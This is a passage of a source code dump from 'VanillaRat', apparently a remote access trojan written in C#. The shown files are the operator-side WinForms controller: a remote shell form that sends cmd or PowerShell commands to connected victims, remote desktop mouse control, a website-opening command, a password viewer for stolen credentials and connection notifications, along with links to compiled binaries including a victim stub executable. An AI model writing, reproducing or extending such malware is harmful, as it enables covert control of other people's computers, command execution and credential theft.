37 |
38 | //On notification box load
39 | private void NotificationBox_Load(object sender, EventArgs e)
40 | {
41 | SoundPlayer SP = new SoundPlayer(Resources.Click_Soft_00);
42 | SP.Play();
43 | lblClientTag.Text = ClientTag.ToUpper();
44 | lblIP.Text = IP.ToUpper();
45 | FadeIn(15);
46 | }
47 |
48 | //On notification box show
49 | private async void NotificationBox_Shown(object sender, EventArgs e)
50 | {
51 | await Task.Delay(3000);
52 | Close();
53 | }
54 | }
55 | }
--------------------------------------------------------------------------------
/VanillaRat/Forms/OpenWebsite.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text;
3 | using System.Windows.Forms;
4 | using VanillaRat.Classes;
5 |
6 | namespace VanillaRat.Forms
7 | {
8 | public partial class OpenWebsite : Form
9 | {
10 | public OpenWebsite()
11 | {
12 | InitializeComponent();
13 | MinimizeBox = false;
14 | MaximizeBox = false;
15 | Update = true;
16 | }
17 |
18 | public int ConnectionID { get; set; }
19 | public bool Update { get; set; }
20 |
21 | //Open website
22 | private void btnOpen_Click(object sender, EventArgs e)
23 | {
24 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("OpenWebsite<{" + txtLink.Text + "}>"));
25 | Close();
26 | }
27 |
28 | //On form close
29 | private void OpenWebsite_FormClosing(object sender, FormClosingEventArgs e)
30 | {
31 | Update = false;
32 | }
33 | }
34 | }
--------------------------------------------------------------------------------
/VanillaRat/Forms/PasswordViewer.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaRat.Forms
2 | {
3 | partial class PasswordViewer
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.lbPasswords = new System.Windows.Forms.ListBox();
32 | this.SuspendLayout();
33 | //
34 | // lbPasswords
35 | //
36 | this.lbPasswords.BorderStyle = System.Windows.Forms.BorderStyle.None;
37 | this.lbPasswords.Dock = System.Windows.Forms.DockStyle.Fill;
38 | this.lbPasswords.FormattingEnabled = true;
39 | this.lbPasswords.Location = new System.Drawing.Point(0, 0);
40 | this.lbPasswords.Name = "lbPasswords";
41 | this.lbPasswords.Size = new System.Drawing.Size(481, 264);
42 | this.lbPasswords.TabIndex = 0;
43 | //
44 | // PasswordViewer
45 | //
46 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
47 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
48 | this.ClientSize = new System.Drawing.Size(481, 264);
49 | this.Controls.Add(this.lbPasswords);
50 | this.Name = "PasswordViewer";
51 | this.Text = "Password Viewer";
52 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.PasswordViewer_FormClosing);
53 | this.ResumeLayout(false);
54 |
55 | }
56 |
57 | #endregion
58 |
59 | public System.Windows.Forms.ListBox lbPasswords;
60 | }
61 | }
--------------------------------------------------------------------------------
/VanillaRat/Forms/PasswordViewer.cs:
--------------------------------------------------------------------------------
1 | using System.Windows.Forms;
2 |
3 | namespace VanillaRat.Forms
4 | {
5 | public partial class PasswordViewer : Form
6 | {
7 | public PasswordViewer()
8 | {
9 | InitializeComponent();
10 | Update = true;
11 | }
12 |
13 | public int ConnectionID { get; set; }
14 | public bool Update { get; set; }
15 |
16 | //On password viewer close
17 | private void PasswordViewer_FormClosing(object sender, FormClosingEventArgs e)
18 | {
19 | Update = false;
20 | }
21 | }
22 | }
--------------------------------------------------------------------------------
/VanillaRat/Forms/RDC.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Drawing;
3 | using System.Security.Cryptography;
4 | using System.Windows.Input;
5 | using System.Text;
6 | using System.Windows.Forms;
7 | using VanillaRat.Classes;
8 | using Color = System.Drawing.Color;
9 |
10 | namespace VanillaRat.Forms
11 | {
12 | public partial class RDC : Form
13 | {
14 | public RDC()
15 | {
16 | InitializeComponent();
17 | Update = true;
18 | DoubleBuffered = true;
19 | }
20 |
21 | public int ConnectionID { get; set; }
22 | private bool Update { get; set; }
23 | private bool Mouse { get; set; }
24 |
25 | //Stop remote desktop
26 | private void StopRD()
27 | {
28 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("StopRD"));
29 | }
30 |
31 | //Close form
32 | private void RDC_FormClosing(object sender, FormClosingEventArgs e)
33 | {
34 | Update = false;
35 | StopRD();
36 | }
37 |
38 | //On remote desktop load
39 | private void RDC_Load(object sender, EventArgs e) { }
40 |
41 | //Toggle mouse
42 | private void btnMouse_Click(object sender, EventArgs e)
43 | {
44 | Mouse = !Mouse;
45 | }
46 |
47 | //Capture double mouse click and send if mouse enabled
48 | private void pbDesktop_MouseDoubleClick(object sender, MouseEventArgs e)
49 | {
50 | if (Mouse)
51 | {
52 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes(@"[]DOUBLE[<\MOUSE>][]" + e.X + @"[<\X>][]" + e.Y + @"[<\Y>]"));
53 | }
54 | }
55 |
56 | //Capture mouse click and send if mouse enabled
57 | private void pbDesktop_MouseClick(object sender, MouseEventArgs e)
58 | {
59 | if (!Mouse) return;
60 | switch (e.Button) {
61 | case MouseButtons.Left:
62 | Server.MainServer.Send(ConnectionID,
63 | Encoding.ASCII.GetBytes(@"[]SINGLE-LEFT[<\MOUSE>][]" + e.X + @"[<\X>][]" + e.Y +
64 | @"[<\Y>]"));
65 | break;
66 | case MouseButtons.Right:
67 | Server.MainServer.Send(ConnectionID,
68 | Encoding.ASCII.GetBytes(@"[]SINGLE-RIGHT[<\MOUSE>][]" + e.X + @"[<\X>][]" + e.Y +
69 | @"[<\Y>]"));
70 | break;
71 | }
72 | }
73 |
74 |
75 | #region Buttons
76 |
77 | //Gives response to button click (because its a picturebox)
78 | private void btnMouse_MouseDown(object sender, MouseEventArgs e)
79 | {
80 | btnMouse.BackColor = Color.FromArgb(45, 52, 54);
81 | }
82 |
83 | //Gives response to button click (because its a picturebox)
84 | private void btnMouse_MouseUp(object sender, MouseEventArgs e)
85 | {
86 | btnMouse.BackColor = Color.Transparent;
87 | }
88 |
89 | #endregion
90 |
91 | }
92 | }
--------------------------------------------------------------------------------
/VanillaRat/Forms/RemoteShell.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text;
3 | using System.Windows.Forms;
4 | using VanillaRat.Classes;
5 |
6 | namespace VanillaRat.Forms
7 | {
8 | public partial class RemoteShell : Form
9 | {
10 | private bool Powershell;
11 | private bool Restart;
12 |
13 | public RemoteShell()
14 | {
15 | InitializeComponent();
16 | MaximizeBox = false;
17 | MinimizeBox = false;
18 | Update = true;
19 | }
20 |
21 | public int ConnectionID { get; set; }
22 | public bool Update { get; set; }
23 |
24 | //On form close
25 | private void RemoteShell_FormClosing(object sender, FormClosingEventArgs e)
26 | {
27 | Update = false;
28 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("StopRS"));
29 | }
30 |
31 | //Send command by button
32 | private void btnSendCommand_Click(object sender, EventArgs e)
33 | {
34 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("[]" + txtCommand.Text));
35 | }
36 |
37 | //Send command by enter key
38 | private void txtCommand_KeyDown(object sender, KeyEventArgs e)
39 | {
40 | if (e.KeyCode == Keys.Enter)
41 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("[]" + txtCommand.Text));
42 | }
43 |
44 | //Toggle between Powershell and CMD
45 | private async void btnToggleMode_Click(object sender, EventArgs e)
46 | {
47 | if (!Powershell)
48 | {
49 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("[]powershell"));
50 | Powershell = true;
51 | btnToggleMode.Text = "Switch to CMD";
52 | }
53 | else
54 | {
55 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("[]cmd"));
56 | Powershell = false;
57 | btnToggleMode.Text = "Switch to Powershell";
58 | }
59 | }
60 |
61 | //In case of issues, restart shell
62 | private void btnRestartShell_Click(object sender, EventArgs e)
63 | {
64 | Restart = true;
65 | Close();
66 | }
67 |
68 | //On close, check for restart
69 | private void RemoteShell_FormClosed(object sender, FormClosedEventArgs e)
70 | {
71 | if (Restart)
72 | {
73 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("StartRS"));
74 | Restart = false;
75 | }
76 | }
77 | }
78 | }
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Administrative Tools_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Administrative Tools_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Chat_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Chat_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Click_Soft_00.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Click_Soft_00.wav
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Close Window_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Close Window_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Communication_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Communication_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Compose_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Compose_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Console_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Console_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Disconnected_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Disconnected_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Document_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Document_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Double Up_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Double Up_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Download_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Download_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Eye_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Eye_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Flash On_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Flash On_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Headphones_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Headphones_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Info_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Info_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Keyboard_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Keyboard_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Laptop_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Laptop_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Lock Landscape_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Lock Landscape_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Monitor_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Monitor_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Mouse_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Mouse_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Opened Folder_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Opened Folder_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Paper Plane_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Paper Plane_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Person_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Person_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Play_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Play_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Resize_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Resize_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Restart_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Restart_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Server_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Server_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Services_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Services_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Source Code_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Source Code_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Upload_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Upload_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Website_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Website_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/Resources/Windows Client_48px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Windows Client_48px.png
--------------------------------------------------------------------------------
/VanillaRat/Forms/SettingsForm.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Windows.Forms;
3 | using VanillaRat.Properties;
4 |
5 | namespace VanillaRat.Forms
6 | {
7 | public partial class SettingsForm : Form
8 | {
9 | public SettingsForm()
10 | {
11 | InitializeComponent();
12 | }
13 |
14 | //Save settings
15 | private void btnSave_Click(object sender, EventArgs e)
16 | {
17 | try
18 | {
19 | Convert.ToInt16(txtPort.Text);
20 | Convert.ToInt16(txtPort.Text);
21 | }
22 | catch
23 | {
24 | MessageBox.Show("Error: One or more text field is not a valid number.", "Error", MessageBoxButtons.OK,
25 | MessageBoxIcon.Error);
26 | }
27 |
28 | Settings.Default.Port = Convert.ToInt16(txtPort.Text);
29 | Settings.Default.UpdateInterval = Convert.ToInt16(txtUpdateInterval.Text);
30 | Settings.Default.Notfiy = cbNotify.Checked;
31 | Settings.Default.Save();
32 | Close();
33 | }
34 |
35 | //Load in settings
36 | private void SettingsForm_Load(object sender, EventArgs e)
37 | {
38 | Classes.Settings.Values Settings;
39 | txtPort.Text = Settings.GetPort().ToString();
40 | txtUpdateInterval.Text = Settings.GetUpdateInterval().ToString();
41 | cbNotify.Checked = Settings.GetNotifyValue();
42 | }
43 | }
44 | }
--------------------------------------------------------------------------------
/VanillaRat/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Windows.Forms;
3 |
4 | namespace VanillaRat
5 | {
6 | internal static class Program
7 | {
8 | ///
9 | /// The main entry point for the application.
10 | ///
11 | [STAThread]
12 | private static void Main()
13 | {
14 | Application.EnableVisualStyles();
15 | Application.SetCompatibleTextRenderingDefault(false);
16 | Application.Run(new Main());
17 | }
18 | }
19 | }
--------------------------------------------------------------------------------
/VanillaRat/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.InteropServices;
3 |
4 | // General Information about an assembly is controlled through the following
5 | // set of attributes. Change these attribute values to modify the information
6 | // associated with an assembly.
7 | [assembly: AssemblyTitle("VanillaRat")]
8 | [assembly: AssemblyDescription("")]
9 | [assembly: AssemblyConfiguration("")]
10 | [assembly: AssemblyCompany("")]
11 | [assembly: AssemblyProduct("VanillaRat")]
12 | [assembly: AssemblyCopyright("Copyright © 2019")]
13 | [assembly: AssemblyTrademark("")]
14 | [assembly: AssemblyCulture("")]
15 |
16 | // Setting ComVisible to false makes the types in this assembly not visible
17 | // to COM components. If you need to access a type in this assembly from
18 | // COM, set the ComVisible attribute to true on that type.
19 | [assembly: ComVisible(false)]
20 |
21 | // The following GUID is for the ID of the typelib if this project is exposed to COM
22 | [assembly: Guid("d0f2ee67-0a50-423d-bfe6-845da892a2db")]
23 |
24 | // Version information for an assembly consists of the following four values:
25 | //
26 | // Major Version
27 | // Minor Version
28 | // Build Number
29 | // Revision
30 | //
31 | // You can specify all the values or you can default the Build and Revision Numbers
32 | // by using the '*' as shown below:
33 | // [assembly: AssemblyVersion("1.0.*")]
34 | [assembly: AssemblyVersion("1.4.0.0")]
35 | [assembly: AssemblyFileVersion("1.0.0.0")]
--------------------------------------------------------------------------------
/VanillaRat/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace VanillaRat.Properties {
12 |
13 |
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.9.0.0")]
16 | public sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
17 |
18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
19 |
20 | public static Settings Default {
21 | get {
22 | return defaultInstance;
23 | }
24 | }
25 |
26 | [global::System.Configuration.UserScopedSettingAttribute()]
27 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
28 | [global::System.Configuration.DefaultSettingValueAttribute("1604")]
29 | public int Port {
30 | get {
31 | return ((int)(this["Port"]));
32 | }
33 | set {
34 | this["Port"] = value;
35 | }
36 | }
37 |
38 | [global::System.Configuration.UserScopedSettingAttribute()]
39 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
40 | [global::System.Configuration.DefaultSettingValueAttribute("50")]
41 | public int UpdateInterval {
42 | get {
43 | return ((int)(this["UpdateInterval"]));
44 | }
45 | set {
46 | this["UpdateInterval"] = value;
47 | }
48 | }
49 |
50 | [global::System.Configuration.UserScopedSettingAttribute()]
51 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
52 | [global::System.Configuration.DefaultSettingValueAttribute("False")]
53 | public bool Notfiy {
54 | get {
55 | return ((bool)(this["Notfiy"]));
56 | }
57 | set {
58 | this["Notfiy"] = value;
59 | }
60 | }
61 | }
62 | }
63 |
--------------------------------------------------------------------------------
/VanillaRat/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | 1604
7 |
8 |
9 | 50
10 |
11 |
12 | False
13 |
14 |
15 |
--------------------------------------------------------------------------------
/VanillaRat/Settings.cs:
--------------------------------------------------------------------------------
1 | using System.ComponentModel;
2 | using System.Configuration;
3 |
4 | namespace VanillaRat.Properties
5 | {
6 | // This class allows you to handle specific events on the settings class:
7 | // The SettingChanging event is raised before a setting's value is changed.
8 | // The PropertyChanged event is raised after a setting's value is changed.
9 | // The SettingsLoaded event is raised after the setting values are loaded.
10 | // The SettingsSaving event is raised before the setting values are saved.
11 | public sealed partial class Settings
12 | {
13 | private void SettingChangingEventHandler(object sender, SettingChangingEventArgs e)
14 | {
15 | // Add code to handle the SettingChangingEvent event here.
16 | }
17 |
18 | private void SettingsSavingEventHandler(object sender, CancelEventArgs e)
19 | {
20 | // Add code to handle the SettingsSaving event here.
21 | }
22 | }
23 | }
--------------------------------------------------------------------------------
/VanillaRat/StreamLibrary.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/StreamLibrary.dll
--------------------------------------------------------------------------------
/VanillaRat/VanillaRat.csproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | publish\
5 |
6 |
7 |
8 |
9 |
10 | en-US
11 | false
12 |
13 |
--------------------------------------------------------------------------------
/VanillaRat/bin/Debug/BlockedConnections.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/bin/Debug/BlockedConnections.txt
--------------------------------------------------------------------------------
/VanillaRat/bin/Debug/VanillaRat.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/bin/Debug/VanillaRat.exe
--------------------------------------------------------------------------------
/VanillaRat/bin/Debug/VanillaRat.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
7 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 | 1604
19 |
20 |
21 | 50
22 |
23 |
24 | False
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/VanillaRat/bin/Debug/VanillaRat.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/bin/Debug/VanillaRat.pdb
--------------------------------------------------------------------------------
/VanillaRat/bin/Debug/VanillaStub.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/bin/Debug/VanillaStub.exe
--------------------------------------------------------------------------------
/VanillaRat/bin/Release.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/bin/Release.zip
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/0142130198ACCF6E1C479D175B260285A868B6C9.costura.telepathy.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/0142130198ACCF6E1C479D175B260285A868B6C9.costura.telepathy.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/0564FF7F7E6084BD6D02D8E6A4127D1C878B3FA6.costura.system.globalization.calendars.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/0564FF7F7E6084BD6D02D8E6A4127D1C878B3FA6.costura.system.globalization.calendars.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/05E65EE95F647F38C717C73A0399870912DD374A.costura.system.threading.tasks.parallel.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/05E65EE95F647F38C717C73A0399870912DD374A.costura.system.threading.tasks.parallel.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/09D02B85A094E925AC3C5D8B1ACA096B730C160F.costura.system.xml.xmldocument.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/09D02B85A094E925AC3C5D8B1ACA096B730C160F.costura.system.xml.xmldocument.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/0B7A9EC0DFF6D958C9C64B5F592993372D31C5E9.costura.system.valuetuple.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/0B7A9EC0DFF6D958C9C64B5F592993372D31C5E9.costura.system.valuetuple.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/12419C25D1C2EB706A4E4E649EE353CEDA7446A9.costura.system.diagnostics.fileversioninfo.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/12419C25D1C2EB706A4E4E649EE353CEDA7446A9.costura.system.diagnostics.fileversioninfo.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/1420EF91F6E0F6954F373F1AC4079064398AB455.costura.system.net.sockets.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/1420EF91F6E0F6954F373F1AC4079064398AB455.costura.system.net.sockets.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/15349E541122743A5D355946E48380AC1811B52F.costura.system.runtime.interopservices.runtimeinformation.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/15349E541122743A5D355946E48380AC1811B52F.costura.system.runtime.interopservices.runtimeinformation.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/16EB49AFCA84C9E6160B4E5B36F1EC5C98470C86.costura.system.io.filesystem.driveinfo.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/16EB49AFCA84C9E6160B4E5B36F1EC5C98470C86.costura.system.io.filesystem.driveinfo.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/1BA9ECC598E170D779CEB290163AC88E6993935F.costura.system.net.ping.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/1BA9ECC598E170D779CEB290163AC88E6993935F.costura.system.net.ping.dll.compressed
